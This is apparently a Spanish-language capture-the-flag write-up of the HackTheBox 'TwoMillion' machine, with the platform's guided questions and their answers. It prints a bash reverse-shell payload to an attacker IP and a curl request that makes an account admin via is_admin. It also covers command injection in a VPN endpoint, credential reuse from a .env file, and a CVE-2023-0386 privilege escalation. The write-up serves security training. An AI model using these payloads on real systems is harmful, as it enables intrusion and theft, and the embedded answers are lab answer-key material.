HTB - TwoMillion

HackTheBox - TwoMillion Machine

0. Introducción#

“TwoMillion” es una máquina Linux retirada de la plataforma HackTheBox de nivel “Easy”. Fue creada para conmemorar la llegada de los dos millones de usuarios registrados en la plataforma, y rinde homenaje a la versión clásica de la web de HTB.

En esta ocasión, además de mostrar el proceso de forma correcta, subiré también capturas de errores que he cometido, además de explicaciones sobre los errores. Esto es para mostrar que las cosas no salen siempre a la primera, y que cada tropezón supone un aprendizaje nuevo.

Entre capturas las direcciones IP a la máquina de HTB van variando debido a que esta máquina me ha tomado su tiempo y he tenido que dedicarle varios días para comprender bien los pasos que estaba realizando, además de la documentación realizada en este writeup.

  • <IP>: Dirección de la máquina víctima
  • <IP_KALI>: Dirección de la máquina desde donde se realizan los ataques

1. Ataque#

1.1. Recon#

Con la dirección IP que se nos proporciona, probaremos a realizar un ping para comprobar que estamos conectados.

ping de prueba

Con la respuesta esperada, realizaremos un escaneo de los puertos de la máquina víctima, usando nmap de la siguiente forma:

nmap -sV -sC {IP}

-sV-> se usa para obtener la versión de los servicios que corren en los puertos abiertos.

-sC -> se usa para ejecutar escaneos con scripts predeterminados.

resultados nmap

Los resultados nos muestran los siguientes puertos abiertos:

  • Puerto 22 (a través de tcp) con el servicio ssh.
  • Puerto 80 (a través de tcp) con el servicio http.
How many TCP ports are open?

2

También podremos apreciar un error en el puerto 80. Nos indica que no pudo seguir la redirección de la dirección http al dominio asociado.

Si lo abrimos en el navegador, veremos que efectivamente, no podemos acceder a la página.

error navegador

Para solucionarlo, en el archivo /etc/hosts agregaremos la dirección de la máquina víctima, y el nombre del dominio (2million.htb).

ajustes del host

Volvemos a probar, y el problema ya se habría solucionado.

1.2. Enumeración#

Al acceder a la dirección, nos encontramos con la antigua página de HackTheBox (página que puedes visualizar desde el Wayback Machine).

página en waybackmachine

Trasteando por la página, me doy cuenta de que todos los apartados son exactamente idénticos a los de la primera versión de la página.

Dirigiéndome al apartado de join, me redireccionará a una página donde me pide un código de invitación para registrarme (ruta 2million.htb/invite).

¿Quizás habrá que realizar los mismos pasos para obtener el código, como había que hacer hace unos años? Vamos a probarlo.

Investigamos la página, y observamos dos ficheros .js que ejecutan funciones (aunque veamos que el código se encuentra ofuscado).

funciones en la página

Nos interesaremos en inviteapi.min.js, al ver que contiene una función que se encarga de manejar las invitaciones.

funcion con las invitaciones

What is the name of the JavaScript file loaded by the /invite page that has to do with invite codes?

inviteapi.min.js

Investigando más en ese fichero, encontramos varias funciones, una de entre ellas siendo makeInviteCode().

What JavaScript function on the invite page returns the first hint about how to get an invite code? Don't include () in the answer.

makeInviteCode

Abrimos la consola y escribimos la función. Al llamarla, nos muestra un objeto que nos devuelve un texto encriptado. Vemos que tiene un atributo enctype con valor ROT13.

Al descifrarlo, nos da un endpoint que utilizaremos para generar el código.

Realizamos una petición usando curl, de la siguiente forma:

curl -X POST http://2million.htb/api/v1/invite/generate

Nos proporcionará en formato json un código, que al parecer también está cifrado en base 64 (esto podemos deducirlo según la terminación que tiene el texto).

Al decodificarlo, obtendremos el código de la invitación.

The endpoint in makeInviteCode returns encrypted data. That message provides another endpoint to query. That endpoint returns a code value that is encoded with what very common binary to text encoding format. What is the name of that encoding?

base64

Volveremos a la página de registro, introducimos el código generado y procederemos a registrarnos en la plataforma. Una vez registrados, iniciamos sesión.

Nos encontramos en la antigua página principal de HackTheBox.

En la página principal vemos un aviso de que están migrando la base de datos, y que posiblemente algunas de las opciones quedará inutilizadas. Es por ello por lo que sólo habrá algunas secciones de la plataforma que funcionan, una de ellas siendo la página de “Access”.

Investigando un poco sobre su funcionamiento, es la página que nos proporciona los archivos para conectarnos a las máquinas virtuales.

Vamos a probar cómo funciona el botón de descarga y de regeneración, para ello usaremos BurpSuite y FoxyProxy.

Configuramos el Proxy para conectarlo con BurpSuite y poder capturar el tráfico para su posterior análisis:

Y al encenderlo y monitorizar el envío de la petición, vemos que tenemos una cookie de sesión asignada a la petición realizada. Asumo que al intentar realizar una petición sin esa cookie no me lo permitirá.

{% hint style=“info” %} NOTA: Como es de esperar, esta cookie será diferente con cada sesión que se inicie en la plataforma. {% endhint %}

What is the path to the endpoint the page uses when a user clicks on "Connection Pack"?

/api/v1/user/vpn/generate

Si intentamos realizar una llamada a la api (/api/v1/) sin la cookie de sesión no nos mostrará nada (sólo un 401). En cambio, si lo realizamos con curl de la siguiente forma, enumeraremos todos los endpoints que la API nos muestra:

curl http://2million.htb/api/v1 -l -H 'Cookie: PHPSESSID={COOKIE}'

Observamos que vemos hasta los endpoints correspondientes a los administradores de la plataforma. Nos fijamos que tenemos uno para comprobar si el usuario es administrador, otro para generar la VPN del administrador, y el último para actualizar los datos de la cuenta del administrador.

How many API endpoints are there under /api/v1/admin?

3

1.3. Explotación#

Vamos a intentar realizar una prueba contra el endpoint /api/v1/admin/auth para comprobar su funcionamiento. Lo realizaremos de la siguiente manera:

curl http://2million.htb/api/v1-l -H 'Cookie: PHPSESSID={COOKIE}'

Veremos que el resultado que nos da es un false.

Probaremos a intentar realizar peticiones al endpoint /api/v1/admin/settings/update. Si nos fijamos, nos empezará a indicar que faltan algunos campos en la petición, uno de ellos siendo el campo is_admin. De esta forma, podríamos actualizar el perfil cambiando ese valor, convirtiendo el usuario en administrador.

Al final, la petición que mandaremos con curl acabará viéndose de la siguiente forma:

{% code overflow=“wrap” fullWidth=“false” %}

curl -X PUT http://2million.htb/api/v1/admin/settings/update? -l -H 'Cookie: PHPSESSID={COOKIE}' -i -H 'Content-type: application/json' -d '{"email":"cvcvrril@gmail.com", "is_admin":1}'

{% endcode %}

Nos devolverá un 200 acompañado de la información actualizada.

What API endpoint can change a user account to an admin account?

/api/v1/admin/settings/update

Ahora probaremos a revisar si hemos podido actualizar de forma satisfactoria el perfil, mediante el endpoint anterior.

Ahora que tenemos el usuario actualizado (con el usuario como admin), podremos realizar una petición al endpoint /api/v1/admin/vpn/generate.

curl http://2million.htb/api/v1/admin/vpn/generate -l -H 

Lo que la api nos devolverá será un 200 y el archivo para conectarnos con las máquinas virtuales.

Comparando esta salida con la de otros endpoints, esta podría provenir de un script que use directamente un comando de Openvpn (herramienta que utiliza HTB para la conexión con las máquinas). En ese caso, quizás podríamos probar a realizar una prueba.

Como el único campo que procesa es el nombre de usuario, deberemos de usarlo. Escribo ; echo hola detrás del usuario para comprobar mi hipótesis.

También probé con ; id # :

Y nos damos cuenta de que nos devuelve la salida del comando.

What API endpoint has a command injection vulnerability in it?

/api/v1/admin/vpn/generate

Esto nos permitirá abrir una shell a través del siguiente payload:

bash -c "bash -i >& /dev/tcp/{IP_KALI}/4444 0>&1"

Aunque el problema viene cuando intento usarlo con curl. No sabía cómo

Para facilitarnos la tarea, pasaremos a realizar el envío del payload con BurpSuite.

Pruebo lo mismo que con curl, que al mandar el nombre de usuario me devuelva el archivo generado por el comando de openvpn.

Ahora probaremos a mandar el payload de antes; detrás del nombre de usuario escribimos ; y mandamos el payload.

A la vez usamos netcat de la siguiente forma, con la que podremos conectarnos a la shell:

nc -lvvp 4444
Un error muy tonto a evitar...

Es importante revisar bien el contenido del payload, o es posible que no funcione correctamente.

En la siguiente captura muestro un intento de envío de petición con el payload, pero sin poner un espaco entre la última comilla única y la almohadilla.

Netcat intentará realizar una conexión, y nos dará un error de que la redirección es ambigua. Este error aparece normalmente cuando no escribimos correctamente el payload.

Y una vez dentro, revisaremos con qué usuario tenemos la shell abierta. En este caso, usamos el usuario www-data, que es el que se emplea por defecto en servidores y otros servicios para realizar operaciones.

Nos encontraremos por defecto en el directorio /html. Aquí encontraremos varios archivos, como index.php. Revisando su contenido, vemos que se definen cuatro variables sacadas de un archivo .env (probablemente el que se encuentre en el mismo directorio).

Revisaremos el archivo .env, y obtendremos las credenciales deseadas; el usuario y la contraseña (además de la base de datos y el host).

What file is commonly used in PHP applications to store environment variable values?

.env

Otro fallo gordísimo que cometí fue intentar cambiar de usuario a través de la shell abierta por el payload. No es lo más recomendable, al tratarse de una sesión débil.

Mirando los apuntes que iba tomando mientras realizaba esta máquina, me doy cuenta de que al pasarle nmap a la dirección marcaba el puerto 22 (servicio SSH) como que estaba abierto.

Probamos a usar el servicio con las credenciales obtenidas, y veremos que obtenemos acceso a la máquina, a través del usuario admin.

Si hacemos un ls sobre el directorio del usuario admin, encontraremos la primera flag.

1.4. Escalada de privilegios#

Comprobaremos los permisos que tiene el usuario admin, e inmediatamente observamos que no tiene permisos de sudo.

Probaremos a escalar privilegios de otra forma. Revisando los pasos efectuados anteriormente, me doy cuenta de que al acceder por SSH a la máquina víctima se muestra un mensaje indicando que tenemos “mail”.

Si buscamos el significado de ese mensaje, encontraremos que se debe a, posiblemente, un cron job que se encargue de revisar si hay cambios en el directorio /var/mail o en /var/spool/mail. No podemos revisar si es por un cron job (no tenemos permisos suficientes para acceder al fichero), entonces habrá que confiar en la teoría.

Si vamos a la carpeta /var/mail, encontraremos el siguiente archivo:

What is the email address of the sender of the email sent to admin?

ch4p@2million.htb

También encontraremos el mismo en /var/spool/mail.

Nos habla de una vulnerabilidad del kernel de Linux relacionada con el OverlaysFS / FUSE. Si buscamos información sobre una vulnerabilidad con esas características, encontraremos una coincidencia; CVE-2023-0386.

What is the 2023 CVE ID for a vulnerability in that allows an attacker to move files in the Overlay file system while maintaining metadata like the owner and SetUID bits?

CVE-2023-0386

Esta vulnerabilidad explota un error en la implementación de OverlayFS que permite a un atacante manipular los metadatos de archivos (como el propietario o los bits SUID) al moverlos entre sistemas de archivos superpuestos.
De esta manera, es posible elevar privilegios a root mediante la ejecución de binarios con permisos indebidos.

Buscando más acerca de la vulnerabilidad, encontramos un PoC (prueba de concepto) sobre cómo explotar el CVE. Usaremos un PoC que nos permitirá explotar la vulnerabilidad en pocos pasos.

Descomprimimos los archivos usando unzip.

Y sólo faltará seguir los pasos que en el repositorio se nos indica.

Primero usamos el comando make, empleado para que el arhivo makefile se ponga en funcionamiento (normalmente, este archivo se encarga de automatizar algunas de las tareas).

Seguimos los pasos del repositorio, donde deberemos de ejecutar los siguientes scripts:

./fuse ./ovlcap/lower ./gc

Abriremos otra sesión SSH, donde ejecutaremos el exploit:

Y ya habremos escalado los privilegios.

Si nos dirigimos al directorio de root, encontraremos varios archivos, uno de ellos la flag de root.

1.5. Post-máquina#

Como hemos comprobado, en el directorio de root encontramos un archivo con el nombre thank_you.json . Comprobaremos su contenido, y veremos que ha sido codificado con URL bytecode.

Lo descodificamos, y el mensaje contendrá otro cifrado en hexadecimal.

Descodificamos el hexadecimal, y nos encontramos con otro mensaje codificado esta vez usando XOR con base 64.

Descodificamos este texto, y finalmente ya tendremos el mensaje descodificado.

Nos encontramos ante un mensaje de agradecimiento del equipo de HackTheBox por los dos millones de usuarios en la plataforma.

Y con esto, ya podremos dar por finalizada esta máquina.


2. Conclusión#

“TwoMillion” es una máquina nostálgica y bien estructurada, que combina análisis de código Javascript con explotación de un CVE reciente. Un poco más desafiante que otras que he realizado, pero ideal para aquellas personas que buscan probar algo nuevo.

También ha servido para recordar el uso adecuado de curl y BurpSuite, la explotación de endpoints con malas configuraciones, y la escalada de privilegios en Linux mediante un payload.


3. Referencias#

{% embed url="https://web.archive.org/web/20170901000000*/www.hackthebox.eu" %}

{% embed url="https://web.archive.org/web/20170708080333/https://www.hackthebox.eu/en" %}

{% embed url="https://medium.com/@eddhaigh/hack-the-box-getting-invited-8a1be189f297" %}

{% embed url="https://rot13.com/" %}

{% embed url="https://www.base64decode.org/es/" %}

{% embed url="https://curl.se/docs/manpage.html" %}

{% embed url="https://www.revshells.com/" %}

{% embed url="https://superuser.com/questions/306163/what-is-the-you-have-new-mail-message-in-linux-unix" %}

{% embed url="https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/" %}

{% embed url="https://github.com/sxlmnwb/CVE-2023-0386" %}

{% embed url="https://www.geeksforgeeks.org/linux-unix/linux-make-command/" %}

{% embed url="https://emn178.github.io/online-tools/url_decode.html" %}